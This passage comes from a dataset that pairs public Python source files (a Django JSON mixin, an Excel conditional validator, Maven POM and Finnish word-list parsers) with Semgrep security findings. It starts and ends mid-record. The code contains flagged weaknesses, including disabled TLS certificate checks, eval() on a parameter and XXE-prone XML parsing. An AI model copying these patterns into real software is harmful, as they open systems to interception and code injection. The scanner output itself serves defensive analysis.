2253}, "end": {"line": 75, "col": 6, "offset": 2559}, "extra": {"message": "Detected a 'requests' call without a timeout set. By default, 'requests' calls wait until the connection is closed. This means a 'requests' call without a timeout will hang the program if a response is never received. Consider setting a timeout for all 'requests'.", "fix": "requests.post(url, verify=False, auth=(ICINGA_USER, ICINGA_PASS), \n headers={\n 'Accept': 'application/json'\n }, json={ \n 'author': bottle.request.forms.get('user_name', 'icingaadmin'),\n 'comment': cmd[-1].strip('\"'),\n 'notify': True\n }\n , timeout=30)", "metadata": {"category": "best-practice", "references": ["https://docs.python-requests.org/en/latest/user/advanced/?highlight=timeout#timeouts", "https://requests.readthedocs.io/en/latest/user/quickstart/#timeouts"], "technology": ["requests"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.requests.security.disabled-cert-validation_2aa109278c521b11_d2295165", "tool_name": "semgrep", "rule_id": "rules.python.requests.security.disabled-cert-validation", "finding_type": "security", "severity": "high", "confidence": "low", "message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "remediation": "requests.post(url, verify=True, auth=(ICINGA_USER, ICINGA_PASS), \n headers={\n 'Accept': 'application/json'\n }, json={ \n 'author': bottle.request.forms.get('user_name', 'icingaadmin'),\n 'comment': cmd[-1].strip('\"'),\n 'notify': True\n }\n )", "location": {"file_path": "unknown", "line_start": 67, "line_end": 75, "column_start": 9, "column_end": 6, "code_snippet": "requires login"}, "cwe_id": "CWE-295: Improper Certificate Validation", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A03:2017 - Sensitive Data Exposure", "references": [{"url": "https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.requests.security.disabled-cert-validation", "path": "/tmp/tmp10dxl77l/2aa109278c521b11.py", "start": {"line": 67, "col": 9, "offset": 2253}, "end": {"line": 75, "col": 6, "offset": 2559}, "extra": {"message": "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation.", "fix": "requests.post(url, verify=True, auth=(ICINGA_USER, ICINGA_PASS), \n headers={\n 'Accept': 'application/json'\n }, json={ \n 'author': bottle.request.forms.get('user_name', 'icingaadmin'),\n 'comment': cmd[-1].strip('\"'),\n 'notify': True\n }\n )", "metadata": {"cwe": ["CWE-295: Improper Certificate Validation"], "owasp": ["A03:2017 - Sensitive Data Exposure", "A07:2021 - Identification and Authentication Failures", "A07:2025 - Authentication Failures"], "references": ["https://stackoverflow.com/questions/41740361/is-it-safe-to-disable-ssl-certificate-verification-in-pythonss-requests-lib"], "category": "security", "technology": ["requests"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "LOW", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-295" ]
[ "rules.python.requests.security.disabled-cert-validation" ]
[ "security" ]
[ "LOW" ]
[ "HIGH" ]
[ 67 ]
[ 75 ]
[ 9 ]
[ 6 ]
[ "A03:2017 - Sensitive Data Exposure" ]
[ "Certificate verification has been explicitly disabled. This permits insecure connections to insecure servers. Re-enable certification validation." ]
[ 7.5 ]
[ "LOW" ]
[ "LOW" ]
slack_icinga_ack_translator.py
/slack_icinga_ack_translator.py
Elemnir/slack_icinga_ack_translator
BSD-2-Clause
2024-11-18T21:51:32.286007+00:00
1,390,564,966,000
9a4e00ec1e2d9a8e8a28d5f04ff9a7b1725e8515
3
{ "blob_id": "9a4e00ec1e2d9a8e8a28d5f04ff9a7b1725e8515", "branch_name": "refs/heads/master", "committer_date": 1390564966000, "content_id": "ec4d69c16c139aaf4a6e11e992d6bc7e577140c4", "detected_licenses": [ "MIT" ], "directory_id": "8abad59a98c1d3e49fda70bbd3d8daa89b14c13a", "extension": "py", "filename": "mixins.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 16274310, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2467, "license": "MIT", "license_type": "permissive", "path": "/djangular/views/mixins.py", "provenance": "stack-edu-0054.json.gz:588610", "repo_name": "k-funk/django-angular", "revision_date": 1390564966000, "revision_id": "f774724b209e79d646a01f2aebc1cf3a0e5315c4", "snapshot_id": "92e607dc974c1eaad0ba548383fb54f3687aee3f", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/k-funk/django-angular/f774724b209e79d646a01f2aebc1cf3a0e5315c4/djangular/views/mixins.py", "visit_date": "2021-01-18T11:33:45.592259" }
2.609375
stackv2
# -*- coding: utf-8 -*- import json from django.core.serializers.json import DjangoJSONEncoder from django.http import HttpResponse, HttpResponseBadRequest def allowed_action(func): """ All methods which shall be callable through a given Ajax 'action' must be decorated with @allowed_action. This is required for safety reasons. It inhibits the caller to invoke all available methods of a class. """ setattr(func, 'is_allowed_action', None) return func class JSONResponseMixin(object): """ A mixin that dispatches POST requests containing the keyword 'action' onto the method with that name. It renders the returned context as JSON response. """ def dispatch(self, *args, **kwargs): return super(JSONResponseMixin, self).dispatch(*args, **kwargs) def get(self, request, *args, **kwargs): action = kwargs.get('action') action = action and getattr(self, action, None) if not callable(action): return self._dispatch_super(request, *args, **kwargs) out_data = json.dumps(action(), cls=DjangoJSONEncoder) response = HttpResponse(out_data) response['Content-Type'] = 'application/json;charset=UTF-8' response['Cache-Control'] = 'no-cache' return response def post(self, request, *args, **kwargs): try: if not request.is_ajax(): return self._dispatch_super(request, *args, **kwargs) in_data = json.loads(request.body) action = in_data.pop('action', kwargs.get('action')) handler = action and getattr(self, action, None) if not callable(handler): return self._dispatch_super(request, *args, **kwargs) if not hasattr(handler, 'is_allowed_action'): raise ValueError('Method "%s" is not decorated with @allowed_action' % action) out_data = json.dumps(handler(in_data), cls=DjangoJSONEncoder) return HttpResponse(out_data, content_type='application/json;charset=UTF-8') except ValueError as err: return HttpResponseBadRequest(err) def _dispatch_super(self, request, *args, **kwargs): base = super(JSONResponseMixin, self) handler = getattr(base, request.method.lower(), None) if callable(handler): return handler(request, *args, **kwargs) raise ValueError('This view can not handle method %s' % request.method)
58
41.53
94
15
511
python
[{"finding_id": "semgrep_rules.python.django.best-practice.use-json-response_4c27474bc2677c57_83c075da", "tool_name": "semgrep", "rule_id": "rules.python.django.best-practice.use-json-response", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "Use JsonResponse instead", "remediation": "", "location": {"file_path": "unknown", "line_start": 31, "line_end": 32, "column_start": 9, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.best-practice.use-json-response", "path": "/tmp/tmp10dxl77l/4c27474bc2677c57.py", "start": {"line": 31, "col": 9, "offset": 1055}, "end": {"line": 32, "col": 42, "offset": 1151}, "extra": {"message": "Use JsonResponse instead", "metadata": {"category": "best-practice", "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_4c27474bc2677c57_c6a36b67", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 32, "line_end": 32, "column_start": 20, "column_end": 42, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmp10dxl77l/4c27474bc2677c57.py", "start": {"line": 32, "col": 20, "offset": 1129}, "end": {"line": 32, "col": 42, "offset": 1151}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.best-practice.use-json-response_4c27474bc2677c57_405b1cda", "tool_name": "semgrep", "rule_id": "rules.python.django.best-practice.use-json-response", "finding_type": "best-practice", "severity": "high", "confidence": "medium", "message": "Use JsonResponse instead", "remediation": "", "location": {"file_path": "unknown", "line_start": 48, "line_end": 49, "column_start": 13, "column_end": 89, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": null, "references": [], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.best-practice.use-json-response", "path": "/tmp/tmp10dxl77l/4c27474bc2677c57.py", "start": {"line": 48, "col": 13, "offset": 1905}, "end": {"line": 49, "col": 89, "offset": 2056}, "extra": {"message": "Use JsonResponse instead", "metadata": {"category": "best-practice", "technology": ["django"]}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.django.security.audit.xss.direct-use-of-httpresponse_4c27474bc2677c57_cc85206f", "tool_name": "semgrep", "rule_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "remediation": "", "location": {"file_path": "unknown", "line_start": 51, "line_end": 51, "column_start": 20, "column_end": 47, "code_snippet": "requires login"}, "cwe_id": "CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A07:2017 - Cross-Site Scripting (XSS)", "references": [{"url": "https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "title": null}, {"url": "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "path": "/tmp/tmp10dxl77l/4c27474bc2677c57.py", "start": {"line": 51, "col": 20, "offset": 2110}, "end": {"line": 51, "col": 47, "offset": 2137}, "extra": {"message": "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "metadata": {"cwe": ["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')"], "owasp": ["A07:2017 - Cross-Site Scripting (XSS)", "A03:2021 - Injection", "A05:2025 - Injection"], "references": ["https://docs.djangoproject.com/en/3.1/intro/tutorial03/#a-shortcut-render", "https://docs.djangoproject.com/en/3.1/topics/http/shortcuts/#render"], "category": "security", "technology": ["django"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
4
true
[ "CWE-79", "CWE-79" ]
[ "rules.python.django.security.audit.xss.direct-use-of-httpresponse", "rules.python.django.security.audit.xss.direct-use-of-httpresponse" ]
[ "security", "security" ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
[ 32, 51 ]
[ 32, 51 ]
[ 20, 20 ]
[ 42, 47 ]
[ "A07:2017 - Cross-Site Scripting (XSS)", "A07:2017 - Cross-Site Scripting (XSS)" ]
[ "Detected data rendered directly to the end user via 'HttpResponse' or a similar object. This bypasses Django's built-in cross-site scripting (XSS) defenses and could result in an XSS vulnerability. Use Django's template engine to safely render HTML.", "Detected data rendered directly to the end user via 'HttpRes...
[ 5, 5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
mixins.py
/djangular/views/mixins.py
k-funk/django-angular
MIT
2024-11-18T21:51:34.016257+00:00
1,636,755,207,000
7e0ef4cc1e9738e14cd422d2ee0d989c2f610ada
3
{ "blob_id": "7e0ef4cc1e9738e14cd422d2ee0d989c2f610ada", "branch_name": "refs/heads/master", "committer_date": 1636755207000, "content_id": "a50e607ebb361fff54c16acfacb2e6d1ef1ccb0e", "detected_licenses": [ "MIT" ], "directory_id": "65470bc5f858a9f0f12f71f3579acd8c9130bccd", "extension": "py", "filename": "ConditionalValidator.py", "fork_events_count": 18, "gha_created_at": 1493034230000, "gha_event_created_at": 1636748477000, "gha_language": "Python", "gha_license_id": "MIT", "github_id": 89233627, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 977, "license": "MIT", "license_type": "permissive", "path": "/validator/ConditionalValidator.py", "provenance": "stack-edu-0054.json.gz:588625", "repo_name": "mkesicki/excel_validator", "revision_date": 1636755207000, "revision_id": "7bd8cb77ed90cfcc25033bcb9a9fc7981244380a", "snapshot_id": "b16f29cfdb5c54eca03555dba9479e4bca9530b9", "src_encoding": "UTF-8", "star_events_count": 29, "url": "https://raw.githubusercontent.com/mkesicki/excel_validator/7bd8cb77ed90cfcc25033bcb9a9fc7981244380a/validator/ConditionalValidator.py", "visit_date": "2021-11-24T08:10:29.920936" }
2.984375
stackv2
from validator.BaseValidator import BaseValidator class ConditionalValidator(BaseValidator): operator = None #should be a lambda expression which return boolean variable message = "This value is not valid" def validate(self, fieldA, fieldB): fieldA = super(ConditionalValidator, self).validate(fieldA) fieldB = super(ConditionalValidator, self).validate(fieldB) return self.operator(fieldA, fieldB) def __init__(self, params): super(ConditionalValidator, self).__init__(params) if 'fieldB' in params: self.fieldB = params.get('fieldB') else: raise ValueError("Missing conditional field parameter") if 'operator' in params: self.operator = eval(params.get('operator')) else: raise ValueError("Missing operator parameter") if self.operator.__name__ != "<lambda>": raise ValueError("Operator should be an lambda function")
29
32.69
80
15
195
python
[{"finding_id": "semgrep_rules.python.lang.security.audit.eval-detected_e237a617a9bae77b_65cad707", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.audit.eval-detected", "finding_type": "security", "severity": "medium", "confidence": "low", "message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "remediation": "", "location": {"file_path": "unknown", "line_start": 24, "line_end": 24, "column_start": 29, "column_end": 57, "code_snippet": "requires login"}, "cwe_id": "CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')", "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": "A03:2021 - Injection", "references": [{"url": "https://owasp.org/Top10/A03_2021-Injection", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.audit.eval-detected", "path": "/tmp/tmp10dxl77l/e237a617a9bae77b.py", "start": {"line": 24, "col": 29, "offset": 755}, "end": {"line": 24, "col": 57, "offset": 783}, "extra": {"message": "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.", "metadata": {"source-rule-url": "https://bandit.readthedocs.io/en/latest/blacklists/blacklist_calls.html#b307-eval", "cwe": ["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')"], "owasp": ["A03:2021 - Injection", "A05:2025 - Injection"], "asvs": {"control_id": "5.2.4 Dyanmic Code Execution Features", "control_url": "https://github.com/OWASP/ASVS/blob/master/4.0/en/0x13-V5-Validation-Sanitization-Encoding.md#v52-sanitization-and-sandboxing-requirements", "section": "V5: Validation, Sanitization and Encoding Verification Requirements", "version": "4"}, "category": "security", "technology": ["python"], "references": ["https://owasp.org/Top10/A03_2021-Injection"], "subcategory": ["audit"], "likelihood": "LOW", "impact": "HIGH", "confidence": "LOW"}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
1
true
[ "CWE-95" ]
[ "rules.python.lang.security.audit.eval-detected" ]
[ "security" ]
[ "LOW" ]
[ "MEDIUM" ]
[ 24 ]
[ 24 ]
[ 29 ]
[ 57 ]
[ "A03:2021 - Injection" ]
[ "Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources." ]
[ 5 ]
[ "LOW" ]
[ "HIGH" ]
ConditionalValidator.py
/validator/ConditionalValidator.py
mkesicki/excel_validator
MIT
2024-11-18T21:51:34.859211+00:00
1,621,088,498,000
d8250664e73c424db6659abf94ca42683d3a8272
2
{ "blob_id": "d8250664e73c424db6659abf94ca42683d3a8272", "branch_name": "refs/heads/master", "committer_date": 1621088498000, "content_id": "2c45d40e7bb3a39f4ed57c660dfc536239fc7521", "detected_licenses": [ "Apache-2.0" ], "directory_id": "26c5caadd04e4193199d2db1ee111a1b7d8313e6", "extension": "py", "filename": "parse-pom.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 199240769, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1273, "license": "Apache-2.0", "license_type": "permissive", "path": "/library/parse-pom.py", "provenance": "stack-edu-0054.json.gz:588635", "repo_name": "aem-design/aemdesign-deploy", "revision_date": 1621088498000, "revision_id": "820da1b1f6247094f60937ed6d8213942b01dabc", "snapshot_id": "3d221093fc8a00554bfb98e5fc5792b8ff67af53", "src_encoding": "UTF-8", "star_events_count": 1, "url": "https://raw.githubusercontent.com/aem-design/aemdesign-deploy/820da1b1f6247094f60937ed6d8213942b01dabc/library/parse-pom.py", "visit_date": "2021-06-17T10:20:33.661199" }
2.390625
stackv2
#!/usr/bin/python import xml.etree.ElementTree as ET import sys import urllib def ns_tag(tag): return str(ET.QName('http://maven.apache.org/POM/4.0.0', tag)) def version_from_deploy(nexus_artifact, file_path): # This is where we pull down releaser and extract the component version to use. pom_output_file = '{file_path}/pom.xml'.format(file_path=file_path) wrap_module_mame = 'deployer' with open(pom_output_file, "r") as myfile: tree = ET.parse(myfile) project = tree.getroot() version_element = project.findtext(ns_tag('version')) return version_element # dependencies_element = project.find(ns_tag('dependencies')) # dependencies = dependencies_element.findall(ns_tag("dependency")) # component_version = "missing from {wrap_module_mame} POM".format(wrap_module_mame=wrap_module_mame) # for dependency in dependencies: # name = dependency.findtext(ns_tag('artifactId')) # if name == nexus_artifact: # component_version = dependency.findtext(ns_tag('version')) # break # # otherwise we use the version passed in. # return component_version nexus_artifact = sys.argv[1] file_path = sys.argv[2] print str(version_from_deploy(nexus_artifact, file_path))
35
35.37
105
11
307
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_149b200239530911_fe7a7232", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 2, "line_end": 2, "column_start": 1, "column_end": 35, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/149b200239530911.py", "start": {"line": 2, "col": 1, "offset": 18}, "end": {"line": 2, "col": 35, "offset": 52}, "extra": {"message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["audit"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "LOW"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.best-practice.unspecified-open-encoding_149b200239530911_5d09e23f", "tool_name": "semgrep", "rule_id": "rules.python.lang.best-practice.unspecified-open-encoding", "finding_type": "best-practice", "severity": "medium", "confidence": "medium", "message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "remediation": "", "location": {"file_path": "unknown", "line_start": 13, "line_end": 13, "column_start": 10, "column_end": 36, "code_snippet": "requires login"}, "cwe_id": null, "cwe_name": null, "cvss_score": 5.0, "cvss_vector": null, "owasp_category": null, "references": [{"url": "https://www.python.org/dev/peps/pep-0597/", "title": null}, {"url": "https://docs.python.org/3/library/functions.html#open", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.best-practice.unspecified-open-encoding", "path": "/tmp/tmp10dxl77l/149b200239530911.py", "start": {"line": 13, "col": 10, "offset": 415}, "end": {"line": 13, "col": 36, "offset": 441}, "extra": {"message": "Missing 'encoding' parameter. 'open()' uses device locale encodings by default, corrupting files with special characters. Specify the encoding to ensure cross-platform support when opening files in text mode (e.g. encoding=\"utf-8\").", "metadata": {"category": "best-practice", "technology": ["python"], "references": ["https://www.python.org/dev/peps/pep-0597/", "https://docs.python.org/3/library/functions.html#open"]}, "severity": "WARNING", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}, {"finding_id": "semgrep_rules.python.lang.security.use-defused-xml-parse_149b200239530911_3a5ff7b0", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml-parse", "finding_type": "security", "severity": "high", "confidence": "medium", "message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "remediation": "defusedxml.etree.ElementTree.parse(myfile)", "location": {"file_path": "unknown", "line_start": 14, "line_end": 14, "column_start": 16, "column_end": 32, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml-parse", "path": "/tmp/tmp10dxl77l/149b200239530911.py", "start": {"line": 14, "col": 16, "offset": 468}, "end": {"line": 14, "col": 32, "offset": 484}, "extra": {"message": "The native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service. Do not use this library to parse untrusted input. Instead the Python documentation recommends using `defusedxml`.", "fix": "defusedxml.etree.ElementTree.parse(myfile)", "metadata": {"owasp": ["A04:2017 - XML External Entities (XXE)", "A05:2021 - Security Misconfiguration", "A02:2025 - Security Misconfiguration"], "cwe": ["CWE-611: Improper Restriction of XML External Entity Reference"], "references": ["https://docs.python.org/3/library/xml.html", "https://github.com/tiran/defusedxml", "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing"], "category": "security", "technology": ["python"], "cwe2022-top25": true, "cwe2021-top25": true, "subcategory": ["vuln"], "likelihood": "LOW", "impact": "MEDIUM", "confidence": "MEDIUM"}, "severity": "ERROR", "fingerprint": "requires login", "lines": "requires login", "validation_state": "NO_VALIDATOR", "engine_kind": "OSS"}}}]
3
true
[ "CWE-611", "CWE-611" ]
[ "rules.python.lang.security.use-defused-xml", "rules.python.lang.security.use-defused-xml-parse" ]
[ "security", "security" ]
[ "LOW", "MEDIUM" ]
[ "HIGH", "HIGH" ]
[ 2, 14 ]
[ 2, 14 ]
[ 1, 16 ]
[ 35, 32 ]
[ "A04:2017 - XML External Entities (XXE)", "A04:2017 - XML External Entities (XXE)" ]
[ "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "The native Python `xml` library is vulnerable to XML Exter...
[ 7.5, 7.5 ]
[ "LOW", "LOW" ]
[ "MEDIUM", "MEDIUM" ]
parse-pom.py
/library/parse-pom.py
aem-design/aemdesign-deploy
Apache-2.0
2024-11-18T21:51:35.744408+00:00
1,493,588,325,000
abe2604e012d22e0c4ab3ae5fbc5d772d5be8020
3
{ "blob_id": "abe2604e012d22e0c4ab3ae5fbc5d772d5be8020", "branch_name": "refs/heads/master", "committer_date": 1493588325000, "content_id": "21d705f6577962f3a237a68d29577f86e5801408", "detected_licenses": [ "MIT" ], "directory_id": "802fddaae0f3d94880f9b21f451acbb01b65c554", "extension": "py", "filename": "finnish_word_list.py", "fork_events_count": 0, "gha_created_at": null, "gha_event_created_at": null, "gha_language": null, "gha_license_id": null, "github_id": 89879078, "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 934, "license": "MIT", "license_type": "permissive", "path": "/finnish_word_list.py", "provenance": "stack-edu-0054.json.gz:588646", "repo_name": "mikamustonen/cipherxword", "revision_date": 1493588325000, "revision_id": "523ae84913597a2e4fae5f101eb980d8c3e7d263", "snapshot_id": "0cbbf8c85d28b61489d149c2952eabd8e7b661e0", "src_encoding": "UTF-8", "star_events_count": 0, "url": "https://raw.githubusercontent.com/mikamustonen/cipherxword/523ae84913597a2e4fae5f101eb980d8c3e7d263/finnish_word_list.py", "visit_date": "2021-01-20T06:26:12.824156" }
3.1875
stackv2
#!/usr/bin/env python """This script extracts the list of Finnish words from the XML file provided by the Institute for the Languages of Finland website. Place the XML file to the folder data/ before running this. The XML file can be downloaded from: http://kaino.kotus.fi/sanat/nykysuomi/kotus-sanalista-v1.tar.gz """ import xml.etree.ElementTree as etree import re input_filename = "data/kotus-sanalista_v1.xml" output_filename = "data/words_finnish.txt" tree = etree.parse(input_filename) root = tree.getroot() # Make sure all the words are lowercase and remove any special characters such # as dashes -- as those are not valid in the crosswords. forbidden_characters = "[^a-zåäö]" words = [re.sub(forbidden_characters, '', s.text.lower()) for s in root.findall('.//st//s')] # Save the wordlist with open(output_filename, 'w', encoding='utf8') as f: for word in words: f.write("{}\n".format(word))
31
29.03
79
13
243
python
[{"finding_id": "semgrep_rules.python.lang.security.use-defused-xml_d5fb459e9158c3ca_01be538e", "tool_name": "semgrep", "rule_id": "rules.python.lang.security.use-defused-xml", "finding_type": "security", "severity": "high", "confidence": "low", "message": "The Python documentation recommends using `defusedxml` instead of `xml` because the native Python `xml` library is vulnerable to XML External Entity (XXE) attacks. These attacks can leak confidential data and \"XML bombs\" can cause denial of service.", "remediation": "", "location": {"file_path": "unknown", "line_start": 11, "line_end": 11, "column_start": 1, "column_end": 38, "code_snippet": "requires login"}, "cwe_id": "CWE-611: Improper Restriction of XML External Entity Reference", "cwe_name": null, "cvss_score": 7.5, "cvss_vector": null, "owasp_category": "A04:2017 - XML External Entities (XXE)", "references": [{"url": "https://docs.python.org/3/library/xml.html", "title": null}, {"url": "https://github.com/tiran/defusedxml", "title": null}, {"url": "https://owasp.org/www-community/vulnerabilities/XML_External_Entity_(XXE)_Processing", "title": null}], "fingerprint": "requires login", "tags": [], "raw_output": {"check_id": "rules.python.lang.security.use-defused-xml", "path": "/tmp/tmp10dxl77l/d5fb459e9158c3ca.py", "start": {"line": 11, "col": 1, "offset": 326}, "end": {"line": 11, "col": 38, "offset": 363}, "extra": {"message": "The Python 